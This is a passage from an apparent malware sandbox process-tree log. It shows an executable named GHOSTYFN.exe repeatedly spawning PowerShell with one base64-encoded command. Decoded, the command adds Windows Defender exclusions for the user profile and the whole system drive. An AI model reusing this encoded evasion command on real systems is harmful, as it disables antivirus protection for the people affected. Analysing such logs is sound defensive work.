        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        144⤵
        
        PID:1464
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        144⤵
        
        PID:6292
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        145⤵
        
        PID:2752
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        145⤵
        
        PID:532
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        146⤵
        
        PID:7112
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        146⤵
        
        PID:7140
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        147⤵
        
        PID:1160
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        147⤵
        
        PID:5512
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        148⤵
        
        PID:7388
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        148⤵
        
        PID:7712
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        149⤵
        
        PID:1404
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        149⤵
        
        PID:2440
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        150⤵
        
        PID:5352
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        150⤵
        
        PID:6600
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        151⤵
        
        PID:7568
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        151⤵
        
        PID:2968
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        152⤵
        
        PID:1372
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        152⤵
        
        PID:5176
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        153⤵
        
        PID:1884
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        153⤵
        
        PID:7976
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        154⤵
        
        PID:7968
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        154⤵
        
        PID:7268
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        155⤵
        
        PID:4224
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        155⤵
        
        PID:5180
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        156⤵
        
        PID:5596
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        156⤵
        
        PID:548
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        157⤵
        
        PID:2432
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        158⤵
        
        PID:3964
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        157⤵
        
        PID:6600
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        158⤵
        
        PID:6092
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        158⤵
        
        PID:5020
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        159⤵
        
        PID:2036
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        159⤵
        
        PID:7172
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        160⤵
        
        PID:8008
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        160⤵
        
        PID:2280
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        161⤵
        
        PID:5488
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        161⤵
        
        PID:1888
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        162⤵
        
        PID:844
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        162⤵
        
        PID:7952
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        163⤵
        
        PID:8100
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        163⤵
        
        PID:6980
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        164⤵
        
        PID:6072
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        164⤵
        
        PID:8004
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        165⤵
        
        PID:376
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        165⤵
        
        PID:5600
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        166⤵
        
        PID:7868
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        166⤵
        
        PID:7052
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        167⤵
        
        PID:2280
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        167⤵
        
        PID:2348
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        168⤵
        
        PID:7804
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        168⤵
        
        PID:5308
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        169⤵
        
        PID:8092
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        169⤵
        
        PID:6036
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        170⤵
        
        PID:1704
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        170⤵
        
        PID:5728
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        171⤵
        
        PID:7188
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        171⤵
        
        PID:7280
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        172⤵
        
        PID:6348
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        172⤵
        
        PID:3756
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        173⤵
        
        PID:5988
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        173⤵
        
        PID:6748
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        174⤵
        
        PID:4440
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        174⤵
        
        PID:6088
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGwAdgBqACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAGQAegBjACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHIAbAB0ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGMAdwBrACMAPgA="
        175⤵
        
        PID:2812
        
        C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe
        
        "C:\Users\Admin\AppData\Local\Temp\GHOSTYFN.exe"
        175⤵
        
        PID:1536
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
